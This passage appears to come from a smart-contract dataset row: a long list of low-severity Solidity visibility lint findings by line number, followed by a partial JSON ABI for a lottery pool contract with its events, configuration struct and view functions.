1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2000, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2006, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2006, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2009, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2009, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2010, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2013, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2013, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2014, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2017, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2017, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2018, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2024, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2024, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2028, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2033, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2033, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2037, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2037, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2038, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2039, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2040, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2043, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2043, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2044, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2044, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2045, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2046, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2046, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2047, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2048, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2048, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2055, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2056, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2057, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2058, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2058, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2064, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2068, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2071, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2071, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2074, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2075, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2077, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2078, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2080, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2081, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2083, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2084, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2087, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2087, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2088, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2088, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2091, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2091, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2095, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2098, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2102, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2105, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2105, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2105, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3176, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3180, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3183, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3190, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3194, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3207, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3224, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3240, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3251, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3263, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4886, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4886, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4886, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4887, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4887, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4887, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4888, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4888, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4888, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4888, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4888, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4890, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4890, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4890, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4890, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4890, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5110, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5113, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5114, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5115, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5118, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5120, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5121, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5122, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5124, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5125, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5131, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5132, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6395, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6402, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6408, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6464, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6466, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6466, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6466, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6795, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6800, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6805, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6811, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6814, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6817, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6823, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6828, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6831, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6835, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6839, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6842, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6849, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6852, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6856, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6869, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6875, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6876, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6884, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6901, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6901, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6901, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6902, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6947, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6951, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6955, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6958, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6964, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6969, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6974, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6979, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6984, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6990, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7002, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7026, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7030, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7030, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7043, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7044, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7044, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7044, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7060, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7064, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7064, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7155, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7155, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7158, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7161, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7211, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7215, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7216, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7218, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7219, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7220, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7220, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7222, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7418, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7435, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7441, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7459, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7466, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7477, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7511, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7511, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7522, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7522, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7816, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7819, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7819, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7819, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7823, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7829, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7833, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7834, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7838, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"_lotteryFactoryAddr","type":"address"},{"internalType":"address","name":"_storageFactoryAddr","type":"address"},{"internalType":"address payable","name":"_randProvAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"poolholder","type":"address"},{"indexed":true,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"AddedLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"}],"name":"EtherReceived","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"lottery","type":"address"},{"indexed":true,"internalType":"uint256","name":"totalReturn","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"profitAmount","type":"uint256"}],"name":"LotteryFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum UniLotteryPool.LotteryRunMode","name":"previousMode","type":"uint8"},{"indexed":false,"internalType":"enum UniLotteryPool.LotteryRunMode","name":"newMode","type":"uint8"}],"name":"LotteryRunModeChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"lottery","type":"address"},{"indexed":true,"internalType":"uint256","name":"fundsUsed","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"poolPercentageUsed","type":"uint256"},{"components":[{"internalType":"uint256","name":"initialFunds","type":"uint256"},{"internalType":"uint128","name":"fundRequirement_denySells","type":"uint128"},{"internalType":"uint128","name":"finishCriteria_minFunds","type":"uint128"},{"internalType":"uint32","name":"maxLifetime","type":"uint32"},{"internalType":"uint32","name":"prizeClaimTime","type":"uint32"},{"internalType":"uint32","name":"burn_buyerRate","type":"uint32"},{"internalType":"uint32","name":"burn_defaultRate","type":"uint32"},{"internalType":"uint32","name":"maxAmountForWallet_percentageOfSupply","type":"uint32"},{"internalType":"uint32","name":"REQUIRED_TIME_WAITING_FOR_RANDOM_SEED","type":"uint32"},{"internalType":"uint32","name":"poolProfitShare","type":"uint32"},{"internalType":"uint32","name":"ownerProfitShare","type":"uint32"},{"internalType":"uint32","name":"minerProfitShare","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minNumberOfHolders","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minTimeActive","type":"uint32"},{"internalType":"uint32","name":"finish_initialProbability","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_transaction","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_holder","type":"uint32"},{"internalType":"int16","name":"maxPlayerScore_etherContributed","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_tokenHoldingAmount","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_timeFactor","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_refferalBonus","type":"int16"},{"internalType":"uint16","name":"randRatio_scorePart","type":"uint16"},{"internalType":"uint16","name":"randRatio_randPart","type":"uint16"},{"internalType":"uint16","name":"timeFactorDivisor","type":"uint16"},{"internalType":"int16","name":"playerScore_referralRegisteringBonus","type":"int16"},{"internalType":"bool","name":"finish_resetProbabilityOnStop","type":"bool"},{"internalType":"uint32","name":"prizeSequenceFactor","type":"uint32"},{"internalType":"uint16","name":"prizeSequence_winnerCount","type":"uint16"},{"internalType":"uint16","name":"prizeSequence_sequencedWinnerCount","type":"uint16"},{"internalType":"uint48","name":"initialTokenSupply","type":"uint48"},{"internalType":"uint8","name":"endingAlgoType","type":"uint8"},{"internalType":"uint32[]","name":"winnerProfitShares","type":"uint32[]"}],"indexed":false,"internalType":"struct Lottery.LotteryConfig","name":"config","type":"tuple"}],"name":"LotteryStarted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"initiator","type":"address"},{"components":[{"internalType":"uint256","name":"initialFunds","type":"uint256"},{"internalType":"uint128","name":"fundRequirement_denySells","type":"uint128"},{"internalType":"uint128","name":"finishCriteria_minFunds","type":"uint128"},{"internalType":"uint32","name":"maxLifetime","type":"uint32"},{"internalType":"uint32","name":"prizeClaimTime","type":"uint32"},{"internalType":"uint32","name":"burn_buyerRate","type":"uint32"},{"internalType":"uint32","name":"burn_defaultRate","type":"uint32"},{"internalType":"uint32","name":"maxAmountForWallet_percentageOfSupply","type":"uint32"},{"internalType":"uint32","name":"REQUIRED_TIME_WAITING_FOR_RANDOM_SEED","type":"uint32"},{"internalType":"uint32","name":"poolProfitShare","type":"uint32"},{"internalType":"uint32","name":"ownerProfitShare","type":"uint32"},{"internalType":"uint32","name":"minerProfitShare","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minNumberOfHolders","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minTimeActive","type":"uint32"},{"internalType":"uint32","name":"finish_initialProbability","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_transaction","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_holder","type":"uint32"},{"internalType":"int16","name":"maxPlayerScore_etherContributed","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_tokenHoldingAmount","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_timeFactor","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_refferalBonus","type":"int16"},{"internalType":"uint16","name":"randRatio_scorePart","type":"uint16"},{"internalType":"uint16","name":"randRatio_randPart","type":"uint16"},{"internalType":"uint16","name":"timeFactorDivisor","type":"uint16"},{"internalType":"int16","name":"playerScore_referralRegisteringBonus","type":"int16"},{"internalType":"bool","name":"finish_resetProbabilityOnStop","type":"bool"},{"internalType":"uint32","name":"prizeSequenceFactor","type":"uint32"},{"internalType":"uint16","name":"prizeSequence_winnerCount","type":"uint16"},{"internalType":"uint16","name":"prizeSequence_sequencedWinnerCount","type":"uint16"},{"internalType":"uint48","name":"initialTokenSupply","type":"uint48"},{"internalType":"uint8","name":"endingAlgoType","type":"uint8"},{"internalType":"uint32[]","name":"winnerProfitShares","type":"uint32[]"}],"indexed":false,"internalType":"struct Lottery.LotteryConfig","name":"cfg","type":"tuple"},{"indexed":false,"internalType":"uint256","name":"configIndex","type":"uint256"}],"name":"NewConfigProposed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"poolholder","type":"address"},{"indexed":false,"internalType":"uint256","name":"initialAmount","type":"uint256"}],"name":"NewPoolholderJoin","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint32","name":"lotteriesPerformed","type":"uint32"},{"indexed":true,"internalType":"uint256","name":"totalPoolFunds","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"currentPoolBalance","type":"uint256"}],"name":"PoolStats","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"poolholder","type":"address"}],"name":"PoolholderWithdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"poolholder","type":"address"},{"indexed":true,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RemovedLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OWNER_ADDRESS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENT","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"allLotteriesPerformed","outputs":[{"internalType":"contract Lottery","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allLotteriesPerformed_length","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoMode_isLotteryCurrentlyOngoing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoMode_lastLotteryFinished","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoMode_lastLotteryStarted","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoMode_maxNumberOfRuns","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoMode_nextLotteryDelay","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"autoMode_timeCallbackScheduled","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getNextLotteryConfig","outputs":[{"components":[{"internalType":"uint256","name":"initialFunds","type":"uint256"},{"internalType":"uint128","name":"fundRequirement_denySells","type":"uint128"},{"internalType":"uint128","name":"finishCriteria_minFunds","type":"uint128"},{"internalType":"uint32","name":"maxLifetime","type":"uint32"},{"internalType":"uint32","name":"prizeClaimTime","type":"uint32"},{"internalType":"uint32","name":"burn_buyerRate","type":"uint32"},{"internalType":"uint32","name":"burn_defaultRate","type":"uint32"},{"internalType":"uint32","name":"maxAmountForWallet_percentageOfSupply","type":"uint32"},{"internalType":"uint32","name":"REQUIRED_TIME_WAITING_FOR_RANDOM_SEED","type":"uint32"},{"internalType":"uint32","name":"poolProfitShare","type":"uint32"},{"internalType":"uint32","name":"ownerProfitShare","type":"uint32"},{"internalType":"uint32","name":"minerProfitShare","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minNumberOfHolders","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minTimeActive","type":"uint32"},{"internalType":"uint32","name":"finish_initialProbability","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_transaction","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_holder","type":"uint32"},{"internalType":"int16","name":"maxPlayerScore_etherContributed","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_tokenHoldingAmount","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_timeFactor","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_refferalBonus","type":"int16"},{"internalType":"uint16","name":"randRatio_scorePart","type":"uint16"},{"internalType":"uint16","name":"randRatio_randPart","type":"uint16"},{"internalType":"uint16","name":"timeFactorDivisor","type":"uint16"},{"internalType":"int16","name":"playerScore_referralRegisteringBonus","type":"int16"},{"internalType":"bool","name":"finish_resetProbabilityOnStop","type":"bool"},{"internalType":"uint32","name":"prizeSequenceFactor","type":"uint32"},{"internalType":"uint16","name":"prizeSequence_winnerCount","type":"uint16"},{"internalType":"uint16","name":"prizeSequence_sequencedWinnerCount","type":"uint16"},{"internalType":"uint48","name":"initialTokenSupply","type":"uint48"},{"internalType":"uint8","name":"endingAlgoType","type":"uint8"},{"internalType":"uint32[]","name":"winnerProfitShares","type":"uint32[]"}],"internalType":"struct Lottery.LotteryConfig","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"getPoolSharePercentage","outputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPoolStats","outputs":[{"internalType":"uint32","name":"_numberOfLotteriesPerformed","type":"uint32"},{"internalType":"uint256","name":"_totalPoolFunds","type":"uint256"},{"internalType":"uint256","name":"_currentPoolBalance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"lotAddr","type":"address"}],"name":"isLotteryOngoing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lotteryFactory","outputs":[{"internalType":"contract UniLotteryLotteryFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"totalReturn","type":"uint256"},{"internalType":"uint256","name":"profitAmount","type":"uint256"}],"name":"lotteryFinish","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"lotteryRunMode","outputs":[{"internalType":"enum UniLotteryPool.LotteryRunMode","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mostRecentLottery","outputs":[{"internalType":"contract Lottery","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"currentRequestPrice","type":"uint256"},{"internalType":"uint256","name":"poolGivenExpectedRequestPrice","type":"uint256"}],"name":"onLotteryCallbackPriceExceedingGivenFunds","outputs":[{"internalType":"bool","name":"callbackExecutionPermitted","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ownerApprovedAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"owner_removeOwnerApprovedAddress","outputs":[],"stateMu